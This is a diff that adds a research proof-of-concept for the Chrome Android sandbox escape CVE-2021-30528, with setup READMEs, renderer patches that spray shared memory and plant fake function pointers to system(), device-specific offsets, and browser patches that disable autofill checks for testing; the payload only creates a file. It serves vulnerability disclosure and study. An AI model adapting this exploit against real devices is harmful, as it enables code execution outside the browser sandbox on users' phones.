diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md new file mode 100644 index 0000000..29ac40a --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md @@ -0,0 +1,27 @@ +## Chrome Sandbox Escape CVE-2021-30528 + +The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a Chrome bug I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer. + +Two exploits are included, one for the 64 bit version 90.0.4430.91 and the other is for the 32 bit version 88.0.4324.181. The build configs are in the corresponding sub directories. + +To test, follow the instructions for the corresponding versions to build the binary, then install the resulting apks (under `out//apks`) on the phone using `adb`, then enable the `MojoJS` feature to simulate a compromised renderer: + +1. Enable `Enable command line on non-rooted devices` from `chrome://flags` +2. Create a file in `/data/local/tmp/chrome-command-line` in the phone and then add `chrome --enable-blink-features=MojoJS` to the file +3. Force stop Chrome and restart + +As explained in the [write up](https://securitylab.github.com/research/chrome_sbx_java), this bug requires a credit card to be stored in the user account. To simulate the behaviour locally, a patch is applied to the browser side code to treat a local card as a remote card. This still requires a credit card to store on the tested device as a payment method. I do not recommend using real card details for this purpose. For testing, the following steps can be used: + +1. In the testing version of Chrome, go to `Settings > Payment Methods` and select `Add card`. +2. Enter `4111 1111 1111 1111` as the card number, this should be recognized as a Visa card. (I found this in some code comment and I can only hope that this is not the real card number of some dedicated developer) + +Then create a directory to host the `html` files included in this directory, and run `copy_mojo_js_bindings.py` to copy the mojo bindings to the directory and host the files on localhost: + +``` +python ./copy_mojo_js_bindings.py /path/to/chrome/../out//gen +python -m SimpleHTTPServer +``` + +Then open the page `http://localhost:8000/trigger2_64.html` or `http://localhost:8000/trigger2_32.html` (depending on the version) from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url. + +If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. This should succeed most of the time. diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md new file mode 100644 index 0000000..501d6dc --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md @@ -0,0 +1,55 @@ +## 64 bit version + +The 64 bit version 90.0.4430.91 of Chrome is tested with the following devices: +1. Pixel 3a firmware version RQ1A.210205.004 +2. Samsung Galaxy A71 firmware version A715FXXU3BUB5 + +The offsets included in `arm64_renderer.patch` are with respect to A71. To test Pixel3a, change the A71 specific offsets to the following instead: +``` + uint64_t executeOffset = 0x711354; + uint64_t systemOffset = 0x5f278; +``` + +The `arm64_renderer.patch` is used to simulate a compromised renderer. + +The patch `browser.patch` patches the browser to make local testing more convenient. It does the following: +1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device): + +``` +@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() { + #if !defined(OS_IOS) + // No need to fetch details if there are no server cards. + if (!ServerCardsAvailable()) +- return; ++// return; + +``` + +2. It removes the requirement for secure content, which would require a properly set up https context. (Self signed certificate for localhost does not pass this) + +``` +@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( + return; + } + +- context->is_context_secure = !IsFormNonSecure(form); ++// context->is_context_secure = !IsFormNonSecure(form); ++ context->is_context_secure = true; ++ + +``` + +These are only for the convenience of local testing and are not a requirement of the vulnerability. + +After applying both of these patches, build Chrome version 90.0.4430.91 with the following build config (`args.gn`): + +``` +target_os = "android" +target_cpu = "arm64" +is_java_debug = false +is_debug = false +symbol_level = 1 +blink_symbol_level = 1 +``` + +then follow the instructions in `README.md` of the parent directory to test. diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch new file mode 100644 index 0000000..f076cb0 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch @@ -0,0 +1,213 @@ +diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc +index 59204c4d8db3..6c50421a6c78 100644 +--- a/third_party/blink/renderer/core/frame/dom_window.cc ++++ b/third_party/blink/renderer/core/frame/dom_window.cc +@@ -43,6 +43,56 @@ + #include "third_party/blink/renderer/platform/weborigin/kurl.h" + #include "third_party/blink/renderer/platform/weborigin/security_origin.h" + ++ ++#include "ui/gfx/geometry/rect_f.h" ++#include "base/strings/utf_string_conversions.h" ++#include "content/public/renderer/render_frame.h" ++#include "content/renderer/render_frame_impl.h" ++#include "content/public/renderer/render_frame_visitor.h" ++#include "content/renderer/frame_owner_properties_converter.h" ++#include "content/renderer/render_frame_proxy.h" ++#include "components/autofill/core/common/mojom/autofill_types.mojom.h" ++#include "components/autofill/content/common/mojom/autofill_agent.mojom.h" ++#include "components/autofill/content/common/mojom/autofill_driver.mojom.h" ++ ++#include "components/autofill/core/common/password_generation_util.h" ++#include "components/autofill/core/common/form_data.h" ++#include "components/autofill/core/common/renderer_id.h" ++#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h" ++ ++#include "third_party/ashmem/ashmem.h" ++#include ++#include "third_party/blink/renderer/core/mojo/mojo.h" ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h" ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h" ++ ++#include "base/single_thread_task_runner.h" ++#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h" ++#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h" ++#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h" ++#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h" ++#include "third_party/blink/public/platform/web_url_loader.h" ++#include "third_party/blink/renderer/platform/heap/persistent.h" ++#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h" ++#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h" ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h" ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h" ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h" ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h" ++#include "third_party/blink/renderer/platform/mojo/mojo_binding_context.h" ++#include "third_party/blink/renderer/platform/platform_export.h" ++#include "third_party/blink/renderer/platform/timer.h" ++#include "third_party/blink/renderer/platform/wtf/hash_map.h" ++#include "third_party/blink/renderer/platform/wtf/hash_set.h" ++#include "third_party/blink/renderer/platform/wtf/text/string_hash.h" ++#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h" ++ ++#include "mojo/core/core.h" ++#include "mojo/public/c/system/data_pipe.h" ++ ++#include ++#include ++ + namespace blink { + + DOMWindow::DOMWindow(Frame& frame) +@@ -55,6 +105,135 @@ DOMWindow::~DOMWindow() { + DCHECK(!frame_); + } + ++ ++//--------------Spray virtual memory---------------------------- ++static uint64_t findLibOffset(const std::string& lib) { ++ std::ifstream file("/proc/self/maps"); ++ CHECK(file.is_open()) << "Cannot open /proc/self/maps"; ++ std::string line; ++ std::string addr; ++ while (std::getline(file, line)) { ++ if (line.find(lib) != std::string::npos) { ++ LOG(ERROR) << "found "<< lib << line; ++ int pos = line.find("-"); ++ std::string addrStr = line.substr(0,pos); ++ uint64_t offset = std::stol(addrStr, nullptr, 16); ++ LOG(ERROR) << addrStr << " : " << offset; ++ return offset; ++ } ++ } ++ CHECK(false) << "Cannot find " << lib << " offset"; ++ return 0; ++} ++ ++//Same as the heuristics used in javascript. ++static uint64_t computeControlledAddress(uint64_t addr) { ++ uint64_t sprayedAddr = addr - 0x1000000000; ++ uint64_t fillAddr = sprayedAddr/0x100000000; ++ return fillAddr * 0x100000000; ++} ++ ++static int mapAndInitializeSharedMem(uint64_t* addr) { ++ size_t pageSize = 0x1000; ++ size_t hugePageSize = 0x8000000; ++ uint64_t libhwuiOffset = findLibOffset("libhwui.so"); ++ uint64_t libcOffset = findLibOffset("libc.so"); ++ ++//A71 specific offsets-------------------- ++ uint64_t executeOffset = 0x8ce318; ++ uint64_t systemOffset = 0x60ac8; ++//------------------------------------------ ++ int fd = ashmem_create_region("spray_region", hugePageSize); ++ for (size_t i = 0; i < hugePageSize/pageSize; i++) { ++ uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize); ++ CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i; ++ if (i == 0) *addr = (uint64_t)mapped; ++ memset(mapped, 0x00, pageSize); ++ uint64_t* execute = (uint64_t*)(mapped + 8); ++ *execute = executeOffset + libhwuiOffset; ++ //Fake webpworker ++ uint64_t* hook = (uint64_t*)(mapped + 0x10); ++ *hook = systemOffset + libcOffset; ++ uint64_t controlledAddr = computeControlledAddress(*addr); ++ uint64_t* data = (uint64_t*)(mapped + 0x18); ++ *data = controlledAddr + 0x100; ++ char cmd[] = "touch /data/data/org.chromium.chrome/pwn"; ++ memcpy(mapped + 0x100, cmd, strlen(cmd) + 1); ++ } ++ return fd; ++} ++ ++static std::vector createDataPipes(int pipeNum, std::vector& fd) { ++ std::vector handles; ++ for (int i = 0; i < pipeNum; i++) { ++ MojoCreateDataPipeOptions options; ++ options.setElementNumBytes(1); ++ options.setCapacityNumBytes(0x1000); ++ MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options); ++ handles.push_back(result->consumer()->TakeHandle()); ++ } ++ return handles; ++} ++ ++ ++static uint64_t sprayVirtualMem() { ++ int dupNum = 200; ++ uint64_t addr = 0; ++ int fd = mapAndInitializeSharedMem(&addr); ++ std::vector fds; ++ for (int i = 0; i < dupNum; i++) { ++ fds.push_back(dup(fd)); ++ } ++ std::vector handles = createDataPipes(dupNum, fds); ++ mojo::core::Core* core = mojo::core::Core::Get(); ++ for (size_t i = 0; i < handles.size(); i++) { ++ scoped_refptr dispatcher = core->GetDispatcher(handles[i]->value()); ++ uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get()); ++ int offset = 160; ++ *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]); ++ uint64_t* dispatcherPtrWide = (uint64_t*)(dispatcher.get()); ++ *(dispatcherPtrWide + (offset + 24)/sizeof(uint64_t)) = 0x8000000; ++ ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 16); ++ options->element_num_bytes = 0x8000000; ++ options->capacity_num_bytes = 0x8000000; ++ } ++ ++ ++ mojo::Remote blob_registry; ++ Platform::Current()->GetBrowserInterfaceBroker()->GetInterface( ++ blob_registry.BindNewPipeAndPassReceiver()); ++ for (int i = 0; i < dupNum; i++) { ++ blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing()); ++ } ++ return addr; ++} ++//---------------------------------------------------------------------- ++ ++//Triggering bug ++static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) { ++ blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces(); ++ mojo::AssociatedRemote autofill_driver; ++ provider->GetInterface(&autofill_driver); ++ autofill::FormData form; ++ autofill::FormFieldData field; ++ field.autocomplete_attribute = "cc-number"; ++ form.fields.push_back(field); ++ form.url = GURL("https://www.aaa.com"); ++ autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false); ++} ++ ++static void RenderFrameHost_test() { ++ struct TriggerVisitor : public content::RenderFrameVisitor { ++ bool Visit(content::RenderFrame* frame) override { ++ RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame); ++ return true; ++ } ++ }; ++ TriggerVisitor visitor; ++ content::RenderFrame::ForEach(&visitor); ++} ++//---------------------------------------------------------------------- ++ + v8::Local DOMWindow::Wrap(v8::Isolate* isolate, + v8::Local creation_context) { + // TODO(yukishiino): Get understanding of why it's possible to initialize +@@ -157,6 +336,15 @@ void DOMWindow::postMessage(v8::Isolate* isolate, + const String& target_origin, + HeapVector& transfer, + ExceptionState& exception_state) { ++ if (target_origin == "trigger") { ++ RenderFrameHost_test(); ++ return; ++ } ++ if (target_origin == "spray") { ++ uint64_t addr = sprayVirtualMem(); ++ exception_state.ThrowTypeError(String::Number(addr)); ++ return; ++ } + WindowPostMessageOptions* options = WindowPostMessageOptions::Create(); + options->setTargetOrigin(target_origin); + if (!transfer.IsEmpty()) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch new file mode 100644 index 0000000..56bbc7a --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch @@ -0,0 +1,28 @@ +diff --git a/components/autofill/core/browser/autofill_manager.cc b/components/autofill/core/browser/autofill_manager.cc +index 07b62e25c1ff..d5496277f632 100644 +--- a/components/autofill/core/browser/autofill_manager.cc ++++ b/components/autofill/core/browser/autofill_manager.cc +@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( + return; + } + +- context->is_context_secure = !IsFormNonSecure(form); ++// context->is_context_secure = !IsFormNonSecure(form); ++ context->is_context_secure = true; ++ + + // TODO(rogerm): Early exit here on !driver()->RendererIsAvailable()? + // We skip populating autofill data, but might generate warnings and or +diff --git a/components/autofill/core/browser/payments/credit_card_access_manager.cc b/components/autofill/core/browser/payments/credit_card_access_manager.cc +index 560f30b57c88..6b5715949ffd 100644 +--- a/components/autofill/core/browser/payments/credit_card_access_manager.cc ++++ b/components/autofill/core/browser/payments/credit_card_access_manager.cc +@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() { + #if !defined(OS_IOS) + // No need to fetch details if there are no server cards. + if (!ServerCardsAvailable()) +- return; ++// return; + + // Do not make an unnecessary preflight call unless signaled. + if (!can_fetch_unmask_details_.IsSignaled()) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html new file mode 100644 index 0000000..2dea2cc --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html @@ -0,0 +1,14 @@ + + + + + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html new file mode 100644 index 0000000..4a9bf6e --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html @@ -0,0 +1,81 @@ + + + + + + + + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md new file mode 100644 index 0000000..cda562d --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md @@ -0,0 +1,49 @@ +## 32 bit version + +The 32 bit version 88.0.4324.181 of Chrome is tested with the following devices: +1. Pixel 3a firmware version RQ1A.210205.004 +2. Samsung Galaxy A71 firmware version A715FXXU3BUB5 + +The offsets included in `arm_renderer.patch` are with respect to these firmware. (To test on Pixel 3a, the offset for A71 needs to be commented out) The `arm_renderer.patch` is used to simulate a compromised renderer. + +The patch `browser.patch` patches the browser to make local testing more convenient. It does the following: +1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device): + +``` +@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() { + #if !defined(OS_IOS) + // No need to fetch details if there are no server cards. + if (!ServerCardsAvailable()) +- return; ++// return; + +``` + +2. It removes the requirement for secure content, which would require a properly set up https context. (Self signed certificate for localhost does not pass this) + +``` +@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( + return; + } + +- context->is_context_secure = !IsFormNonSecure(form); ++// context->is_context_secure = !IsFormNonSecure(form); ++ context->is_context_secure = true; ++ + +``` + +These are only for the convenience of local testing and are not a requirement of the vulnerability. + +After applying both of these patches, build Chrome version 88.0.4324.181 with the following build config (`args.gn`): + +``` +target_os = "android" +target_cpu = "arm" +is_java_debug = false +is_debug = false +symbol_level = 1 +blink_symbol_level = 1 +``` + +then follow the instructions in `README.md` of the parent directory to test. diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch new file mode 100644 index 0000000..a2304ff --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch @@ -0,0 +1,201 @@ +diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc +index 5a768a029f92..19b506446232 100644 +--- a/third_party/blink/renderer/core/frame/dom_window.cc ++++ b/third_party/blink/renderer/core/frame/dom_window.cc +@@ -43,6 +43,55 @@ + #include "third_party/blink/renderer/platform/weborigin/kurl.h" + #include "third_party/blink/renderer/platform/weborigin/security_origin.h" + ++ ++#include "ui/gfx/geometry/rect_f.h" ++#include "base/strings/utf_string_conversions.h" ++#include "content/public/renderer/render_frame.h" ++#include "content/renderer/render_frame_impl.h" ++#include "content/public/renderer/render_frame_visitor.h" ++#include "content/renderer/frame_owner_properties_converter.h" ++#include "content/renderer/render_frame_proxy.h" ++#include "components/autofill/core/common/mojom/autofill_types.mojom.h" ++#include "components/autofill/content/common/mojom/autofill_agent.mojom.h" ++#include "components/autofill/content/common/mojom/autofill_driver.mojom.h" ++ ++#include "components/autofill/core/common/password_generation_util.h" ++#include "components/autofill/core/common/form_data.h" ++#include "components/autofill/core/common/renderer_id.h" ++#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h" ++ ++#include "third_party/ashmem/ashmem.h" ++#include ++#include "third_party/blink/renderer/core/mojo/mojo.h" ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h" ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h" ++ ++#include "base/single_thread_task_runner.h" ++#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h" ++#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h" ++#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h" ++#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h" ++#include "third_party/blink/public/platform/web_url_loader.h" ++#include "third_party/blink/renderer/platform/heap/persistent.h" ++#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h" ++#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h" ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h" ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h" ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h" ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h" ++#include "third_party/blink/renderer/platform/platform_export.h" ++#include "third_party/blink/renderer/platform/timer.h" ++#include "third_party/blink/renderer/platform/wtf/hash_map.h" ++#include "third_party/blink/renderer/platform/wtf/hash_set.h" ++#include "third_party/blink/renderer/platform/wtf/text/string_hash.h" ++#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h" ++ ++#include "mojo/core/core.h" ++#include "mojo/public/c/system/data_pipe.h" ++ ++#include ++#include ++ + namespace blink { + + DOMWindow::DOMWindow(Frame& frame) +@@ -55,6 +104,125 @@ DOMWindow::~DOMWindow() { + DCHECK(!frame_); + } + ++//--------------Spray virtual memory---------------------------- ++static uint32_t findLibOffset(const std::string& lib) { ++ std::ifstream file("/proc/self/maps"); ++ CHECK(file.is_open()) << "Cannot open /proc/self/maps"; ++ std::string line; ++ std::string addr; ++ while (std::getline(file, line)) { ++ if (line.find(lib) != std::string::npos) { ++ LOG(ERROR) << "found "<< lib << " " << line; ++ int pos = line.find("-"); ++ std::string addrStr = line.substr(0,pos); ++ uint32_t offset = (uint32_t)std::stoll(addrStr, nullptr, 16); ++ LOG(ERROR) << addrStr << " : " << offset; ++ return offset; ++ } ++ } ++ CHECK(false) << "Cannot find " << lib << " offset"; ++ return 0; ++} ++ ++static int mapAndInitializeSharedMem() { ++ size_t pageSize = 0x1000; ++ size_t hugePageSize = 0x4000000; ++ uint32_t libhwuiOffset = findLibOffset("libhwui.so"); ++ ++//Pixel3a specific offsets-------------------- ++ uint32_t executeOffset = 0x538f54; ++ ++//A71 specific offsets------------------------ ++ executeOffset = 0x7246a0; ++ ++ int fd = ashmem_create_region("spray_region", hugePageSize); ++ for (size_t i = 0; i < hugePageSize/pageSize; i++) { ++ uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize); ++ CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i; ++ memset(mapped, 0x00, pageSize); ++ uint32_t* execute = (uint32_t*)(mapped + 4); ++ *execute = executeOffset + libhwuiOffset; ++ //Fake webpworker ++ uint32_t* hook = (uint32_t*)(mapped + 8); ++ *hook = (uint32_t)(&system); ++ uint32_t controlledAddr = 0x67000000; ++ uint32_t* data = (uint32_t*)(mapped + 12); ++ *data = controlledAddr + 0x100; ++ char cmd[] = "touch /data/data/org.chromium.chrome/pwn"; ++ memcpy(mapped + 0x100, cmd, strlen(cmd) + 1); ++ } ++ return fd; ++} ++ ++static std::vector createDataPipes(int pipeNum, std::vector& fd) { ++ std::vector handles; ++ for (int i = 0; i < pipeNum; i++) { ++ MojoCreateDataPipeOptions options; ++ options.setElementNumBytes(1); ++ options.setCapacityNumBytes(0x1000); ++ MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options); ++ handles.push_back(result->consumer()->TakeHandle()); ++ } ++ return handles; ++} ++ ++ ++static void sprayVirtualMem() { ++ int dupNum = 20; ++ int fd = mapAndInitializeSharedMem(); ++ std::vector fds; ++ for (int i = 0; i < dupNum; i++) { ++ fds.push_back(dup(fd)); ++ } ++ std::vector handles = createDataPipes(dupNum, fds); ++ mojo::core::Core* core = mojo::core::Core::Get(); ++ for (size_t i = 0; i < handles.size(); i++) { ++ scoped_refptr dispatcher = core->GetDispatcher(handles[i]->value()); ++ uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get()); ++ int offset = 96; ++ *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]); ++ uint32_t* dispatcherPtrWide = (uint32_t*)(dispatcher.get()); ++ *(dispatcherPtrWide + (offset + 16)/sizeof(uint32_t)) = 0x4000000; ++ ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 8); ++ options->element_num_bytes = 0x4000000; ++ options->capacity_num_bytes = 0x4000000; ++ } ++ ++ ++ mojo::Remote blob_registry; ++ Platform::Current()->GetBrowserInterfaceBroker()->GetInterface( ++ blob_registry.BindNewPipeAndPassReceiver()); ++ for (int i = 0; i < dupNum; i++) { ++ blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing()); ++ } ++} ++//---------------------------------------------------------------------- ++ ++//Triggering bug ++static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) { ++ blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces(); ++ mojo::AssociatedRemote autofill_driver; ++ provider->GetInterface(&autofill_driver); ++ autofill::FormData form; ++ autofill::FormFieldData field; ++ field.autocomplete_attribute = "cc-number"; ++ form.fields.push_back(field); ++ form.url = GURL("https://www.aaa.com"); ++ autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false); ++} ++ ++static void RenderFrameHost_test() { ++ struct TriggerVisitor : public content::RenderFrameVisitor { ++ bool Visit(content::RenderFrame* frame) override { ++ RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame); ++ return true; ++ } ++ }; ++ TriggerVisitor visitor; ++ content::RenderFrame::ForEach(&visitor); ++} ++//---------------------------------------------------------------------- ++ + v8::Local DOMWindow::Wrap(v8::Isolate* isolate, + v8::Local creation_context) { + // TODO(yukishiino): Get understanding of why it's possible to initialize +@@ -142,6 +310,14 @@ void DOMWindow::postMessage(v8::Isolate* isolate, + const String& target_origin, + HeapVector& transfer, + ExceptionState& exception_state) { ++ if (target_origin == "trigger") { ++ RenderFrameHost_test(); ++ return; ++ } ++ if (target_origin == "spray") { ++ sprayVirtualMem(); ++ return; ++ } + WindowPostMessageOptions* options = WindowPostMessageOptions::Create(); + options->setTargetOrigin(target_origin); + if (!transfer.IsEmpty()) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch new file mode 100644 index 0000000..56bbc7a --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch @@ -0,0 +1,28 @@ +diff --git a/components/autofill/core/browser/autofill_manager.cc b/components/autofill/core/browser/autofill_manager.cc +index 07b62e25c1ff..d5496277f632 100644 +--- a/components/autofill/core/browser/autofill_manager.cc ++++ b/components/autofill/core/browser/autofill_manager.cc +@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( + return; + } + +- context->is_context_secure = !IsFormNonSecure(form); ++// context->is_context_secure = !IsFormNonSecure(form); ++ context->is_context_secure = true; ++ + + // TODO(rogerm): Early exit here on !driver()->RendererIsAvailable()? + // We skip populating autofill data, but might generate warnings and or +diff --git a/components/autofill/core/browser/payments/credit_card_access_manager.cc b/components/autofill/core/browser/payments/credit_card_access_manager.cc +index 560f30b57c88..6b5715949ffd 100644 +--- a/components/autofill/core/browser/payments/credit_card_access_manager.cc ++++ b/components/autofill/core/browser/payments/credit_card_access_manager.cc +@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() { + #if !defined(OS_IOS) + // No need to fetch details if there are no server cards. + if (!ServerCardsAvailable()) +- return; ++// return; + + // Do not make an unnecessary preflight call unless signaled. + if (!can_fetch_unmask_details_.IsSignaled()) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html new file mode 100644 index 0000000..2dea2cc --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html @@ -0,0 +1,14 @@ + + + + + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html new file mode 100644 index 0000000..4d4fc44 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html @@ -0,0 +1,72 @@ + + + + + + + + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py new file mode 100644 index 0000000..6dc4aae --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py @@ -0,0 +1,20 @@ +#! /usr/bin/python + +import os +import shutil +import sys + +base_path = sys.argv[1] +for path, dirs, files in os.walk(base_path): + for file in files: + if file == 'mojo_bindings.js': + shutil.copyfile(os.path.join(path, file), os.path.join('./', file)) + + if file.endswith('.mojom.js'): + target_path = os.path.join('./', path[len(base_path) + 1:]) + try: + os.makedirs(target_path) + except: + pass + shutil.copyfile(os.path.join(path, file), os.path.join(target_path, file)) +